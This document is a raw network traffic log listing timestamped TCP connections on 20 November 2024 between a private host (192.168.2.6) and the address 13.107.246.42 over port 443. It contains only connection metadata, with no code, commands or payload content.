Nov 20, 2024 08:12:48.421739101 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422115088 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422285080 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422311068 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422403097 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422430038 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422538042 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422559023 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422574043 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422590017 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422709942 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422816992 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422816992 CET	49906	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.422831059 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.422838926 CET	443	49906	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.423161983 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.423177004 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.423188925 CET	49907	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.423193932 CET	443	49907	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424737930 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424757957 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424766064 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424820900 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.424829006 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424849987 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424894094 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.424892902 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.424927950 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.425405025 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.425585985 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.425853014 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.425874949 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.425960064 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426311016 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426320076 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.426625013 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426634073 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.426784992 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426784992 CET	49908	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426784992 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426785946 CET	49905	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.426793098 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.426800013 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.426801920 CET	443	49908	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.426809072 CET	443	49905	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.432502985 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.432549000 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.432596922 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.443403959 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.443432093 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.449100971 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.449136972 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.449846983 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.450783968 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.450799942 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.456088066 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.456127882 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:48.456439018 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.456640959 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:48.456654072 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.063360929 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.066196918 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.091541052 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.092891932 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.113639116 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.113660097 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.114193916 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.114197969 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.114273071 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.114800930 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.114826918 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.115320921 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.115329027 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.115421057 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.115432024 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.116378069 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.116383076 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.118424892 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.118451118 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.118911028 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.118918896 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.119048119 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.119059086 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.119326115 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.119329929 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.209125996 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.209167957 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.209216118 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.209219933 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.209273100 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.212472916 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.212534904 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.212583065 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.215599060 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.215636969 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.215670109 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.215717077 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.215938091 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.215972900 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.216614008 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.216972113 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.217016935 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.217052937 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.217052937 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.287673950 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.287697077 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.287709951 CET	49911	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.287715912 CET	443	49911	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.290232897 CET	49913	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.290254116 CET	443	49913	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.291743994 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.291779995 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.291795969 CET	49910	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.291802883 CET	443	49910	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.291960001 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.291994095 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.291997910 CET	49914	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.292004108 CET	443	49914	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.292977095 CET	49912	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.292989969 CET	443	49912	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.661011934 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.661053896 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.661175966 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.676652908 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.676683903 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.693639040 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.693676949 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.693730116 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.694001913 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.694010973 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.694861889 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.694900036 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.694951057 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.695552111 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.695564032 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.695614100 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.695796967 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.695807934 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.704988003 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.704996109 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.706444979 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.706469059 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:49.706521988 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.706722021 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:49.706732988 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.327099085 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.327656984 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.327687979 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.328270912 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.328283072 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.337066889 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.337707996 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.338068962 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.338068962 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.338085890 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.338098049 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.338284969 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.338304043 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.338634014 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.338639975 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.359698057 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.360047102 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.360057116 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.360492945 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.360497952 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.388123035 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.391542912 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.391542912 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.391573906 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.391591072 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.430183887 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.433249950 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.433321953 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.438338995 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.438594103 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.438678980 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.439449072 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.439449072 CET	49917	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.439465046 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.439475060 CET	443	49917	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.440843105 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.441039085 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.441086054 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.441112995 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.441185951 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.443466902 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.443481922 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.443492889 CET	49918	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.443500042 CET	443	49918	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.445014000 CET	49915	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.445033073 CET	443	49915	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.448162079 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.448203087 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.448263884 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.451387882 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.451431036 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.451487064 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.458379030 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.458409071 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.458507061 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.458703041 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.458717108 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.462059021 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.462070942 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.462594032 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.462610960 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.464700937 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.464982986 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.465020895 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.465022087 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.465068102 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.465344906 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.465352058 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.465421915 CET	49916	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.465426922 CET	443	49916	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.467916012 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.467926025 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.468008995 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.468127966 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.468137026 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.491628885 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.491889000 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.491960049 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.496675968 CET	49919	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.496696949 CET	443	49919	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.499938965 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.499973059 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:50.500468969 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.500469923 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:50.500502110 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.094443083 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.094914913 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.094944000 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.095395088 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.095401049 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.101478100 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.101996899 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.103034019 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.103055000 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.103390932 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.103405952 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.103955030 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.103960037 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.105675936 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.105684042 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.108999968 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.109361887 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.109375000 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.109752893 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.109759092 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.131423950 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.131851912 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.131870985 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.132260084 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.132271051 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.193561077 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.193921089 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.193958998 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.193964005 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.194005013 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.194055080 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.194067955 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.194080114 CET	49927	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.194086075 CET	443	49927	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.199537039 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.199569941 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.199615955 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.199906111 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.199915886 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.201303959 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.201581955 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.201625109 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.201626062 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.201674938 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.201726913 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.201742887 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.201751947 CET	49930	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.201756954 CET	443	49930	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.202372074 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.202596903 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.202640057 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.202677011 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.202689886 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.202703953 CET	49929	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.202712059 CET	443	49929	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.204365969 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.204396963 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.204447985 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.204719067 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.204727888 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.205287933 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.205303907 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.205348015 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.205463886 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.205473900 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.209954977 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.210011005 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.210047960 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.210131884 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.210135937 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.210155964 CET	49928	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.210160017 CET	443	49928	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.212728024 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.212750912 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.212846041 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.212940931 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.212951899 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.230350018 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.230464935 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.230567932 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.230567932 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.232749939 CET	49931	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.232762098 CET	443	49931	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.233378887 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.233405113 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.233459949 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.233571053 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.233578920 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.832811117 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.839917898 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.839930058 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.840512037 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.840517044 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.850430965 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.850950003 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.850975037 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.851707935 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.851715088 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.856303930 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.858918905 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.858932018 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.860172987 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.860177994 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.868098974 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.869647026 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.869678974 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.870758057 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.870764017 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.876605988 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.877006054 CET	49936	443	192.168.2.6	13.107.246.42
